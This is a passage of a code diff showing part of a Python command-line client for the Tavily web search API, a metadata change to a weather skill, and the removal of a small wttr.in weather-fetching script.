payload["max_breadth"] = args.max_breadth
if args.limit is not None:
payload["limit"] = args.limit
if hasattr(args, "instructions") and args.instructions:
payload["instructions"] = args.instructions
if hasattr(args, "select_paths") and args.select_paths:
payload["select_paths"] = [p.strip() for p in args.select_paths.split(",")]
if hasattr(args, "exclude_paths") and args.exclude_paths:
payload["exclude_paths"] = [p.strip() for p in args.exclude_paths.split(",")]
if hasattr(args, "format_type") and args.format_type:
payload["format"] = args.format_type
data = _api_request("/crawl", payload, timeout=60)
return _format_crawl_results(data, as_json=args.as_json)
def cmd_map(args: argparse.Namespace) -> str:
"""Execute map/sitemap command."""
payload: dict[str, Any] = {
"url": args.url,
}
if args.max_depth is not None:
payload["max_depth"] = args.max_depth
if args.max_breadth is not None:
payload["max_breadth"] = args.max_breadth
if args.limit is not None:
payload["limit"] = args.limit
data = _api_request("/map", payload)
return _format_map_results(data, args.url, as_json=args.as_json)
def cmd_research(args: argparse.Namespace) -> str:
"""Execute research command."""
payload: dict[str, Any] = {
"input": args.query,
}
if args.model:
payload["model"] = args.model
data = _api_request("/research", payload, timeout=RESEARCH_TIMEOUT)
return _format_research_results(data, as_json=args.as_json)
# ─── CLI ─────────────────────────────────────────────────────────────────────
def build_parser() -> argparse.ArgumentParser:
"""Build the argument parser with all subcommands."""
parser = argparse.ArgumentParser(
description="Tavily Search v1.0 - AI-powered web search platform",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s search "latest AI news" --answer
%(prog)s news "tech industry" --time week
%(prog)s finance "NVIDIA stock" --depth advanced
%(prog)s extract "https://example.com/article"
%(prog)s crawl "https://docs.example.com" --limit 20
%(prog)s map "https://example.com"
%(prog)s research "Impact of AI on healthcare"
""",
)
subparsers = parser.add_subparsers(dest="command", help="Command to execute")
# ── Common search options ──
def add_search_options(sub: argparse.ArgumentParser) -> None:
sub.add_argument("query", help="Search query")
sub.add_argument("--depth", choices=["basic", "advanced"], default="basic",
help="Search depth (default: basic; advanced = 2 credits)")
sub.add_argument("--time", choices=["day", "week", "month", "year", "d", "w", "m", "y"],
default=None, help="Time range filter")
sub.add_argument("-n", type=int, default=5, help="Max results 0-20 (default: 5)")
sub.add_argument("--answer", action="store_true", help="Include LLM-synthesized answer")
sub.add_argument("--raw", action="store_true", help="Include raw page content")
sub.add_argument("--images", action="store_true", help="Include image URLs")
sub.add_argument("--include-domains", default=None,
help="Comma-separated domains to include")
sub.add_argument("--exclude-domains", default=None,
help="Comma-separated domains to exclude")
sub.add_argument("--country", default=None, help="Country code to boost (e.g., US, IL)")
sub.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
# search
p_search = subparsers.add_parser("search", help="Web search (general)")
add_search_options(p_search)
# news
p_news = subparsers.add_parser("news", help="News search")
add_search_options(p_news)
# finance
p_finance = subparsers.add_parser("finance", help="Finance search")
add_search_options(p_finance)
# extract
p_extract = subparsers.add_parser("extract", help="Extract content from URLs")
p_extract.add_argument("urls", nargs="+", help="URLs to extract content from")
p_extract.add_argument("--depth", choices=["basic", "advanced"], default="basic",
help="Extraction depth")
p_extract.add_argument("--format", dest="format_type", choices=["markdown", "text"],
default=None, help="Output format (default: markdown)")
p_extract.add_argument("--query", default=None,
help="Query for relevance reranking of chunks")
p_extract.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
# crawl
p_crawl = subparsers.add_parser("crawl", help="Crawl a website")
p_crawl.add_argument("url", help="Root URL to crawl")
p_crawl.add_argument("--depth", choices=["basic", "advanced"], default=None,
help="Crawl depth")
p_crawl.add_argument("--max-depth", type=int, default=None, help="Max link depth (default: 2)")
p_crawl.add_argument("--max-breadth", type=int, default=None,
help="Max pages per level (default: 10)")
p_crawl.add_argument("--limit", type=int, default=None, help="Max total pages (default: 10)")
p_crawl.add_argument("--instructions", default=None,
help="Natural language crawl instructions")
p_crawl.add_argument("--select-paths", default=None,
help="Comma-separated path patterns to include")
p_crawl.add_argument("--exclude-paths", default=None,
help="Comma-separated path patterns to exclude")
p_crawl.add_argument("--format", dest="format_type", choices=["markdown", "text"],
default=None, help="Output format")
p_crawl.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
# map
p_map = subparsers.add_parser("map", help="Discover sitemap URLs")
p_map.add_argument("url", help="Root URL to map")
p_map.add_argument("--max-depth", type=int, default=None, help="Max depth (default: 2)")
p_map.add_argument("--max-breadth", type=int, default=None,
help="Max breadth per level (default: 20)")
p_map.add_argument("--limit", type=int, default=None, help="Max URLs (default: 50)")
p_map.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
# research
p_research = subparsers.add_parser("research", help="Deep AI research")
p_research.add_argument("query", help="Research question")
p_research.add_argument("--model", choices=["mini", "pro", "auto"], default=None,
help="Research model (default: auto)")
p_research.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
return parser
def main() -> None:
"""CLI entry point."""
parser = build_parser()
args = parser.parse_args()
if not args.command:
parser.print_help()
sys.exit(1)
if not API_KEY:
print("Error: TAVILY_API_KEY environment variable not set.", file=sys.stderr)
print("Set it in OpenClaw config or export TAVILY_API_KEY=your_key", file=sys.stderr)
sys.exit(1)
try:
if args.command in ("search", "news", "finance"):
result = cmd_search(args)
elif args.command == "extract":
result = cmd_extract(args)
elif args.command == "crawl":
result = cmd_crawl(args)
elif args.command == "map":
result = cmd_map(args)
elif args.command == "research":
result = cmd_research(args)
else:
parser.print_help()
sys.exit(1)
print(result)
except SystemExit:
raise
except Exception as e:
print(f"Error: {e}", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()

View file

@ -2,21 +2,7 @@
name: weather
description: Get current weather and forecasts (no API key required).
homepage: https://wttr.in/:help
metadata:
clawdbot:
emoji: "🌤️"
requires:
bins: ["curl"]
oclaw:
runtime:
type: python
entry: scripts/run.py
schema:
type: object
properties:
location: { type: string, description: "City name (e.g. Shanghai, London)" }
format: { type: string, description: "wttr.in format (default: 3)" }
additionalProperties: false
metadata: {"clawdbot":{"emoji":"🌤️","requires":{"bins":["curl"]}}}
---
# Weather

View file

@ -1,54 +0,0 @@
from __future__ import annotations
import json
import sys
import urllib.parse
import urllib.request
def _read_stdin_json() -> dict:
try:
raw = input()
except EOFError:
raw = ""
raw = (raw or "").strip()
if not raw:
return {}
try:
obj = json.loads(raw)
except Exception:
return {}
return obj if isinstance(obj, dict) else {}
def main() -> None:
# Windows default console encoding may be GBK; force UTF-8 so symbols like ☀ do not crash.
try:
sys.stdout.reconfigure(encoding="utf-8")
except Exception:
pass
payload = _read_stdin_json()
args = payload.get("args") if isinstance(payload.get("args"), dict) else {}
location = str(args.get("location") or "Shanghai").strip() or "Shanghai"
fmt = str(args.get("format") or "3").strip() or "3"
# wttr.in: GET /<location>?format=<fmt>
loc_q = urllib.parse.quote(location, safe="")
url = f"https://wttr.in/{loc_q}?format={urllib.parse.quote(fmt, safe='')}"
req = urllib.request.Request(url, headers={"User-Agent": "oclaw-skill-weather/1.0"})
try:
with urllib.request.urlopen(req, timeout=10) as resp:
text = resp.read().decode("utf-8", errors="ignore").strip()
out = {"ok": True, "location": location, "format": fmt, "text": text}
except Exception as exc:
out = {"ok": False, "error_code": "fetch_failed", "error": f"{type(exc).__name__}:{exc}"}
output = json.dumps(out, ensure_ascii=False)
try:
print(output)
except UnicodeEncodeError:
# Last-resort fallback for environments where stdout reconfigure is unavailable.
sys.stdout.buffer.write((output + "\n").encode("utf-8", errors="replace"))
if __name__ == "__main__":
main()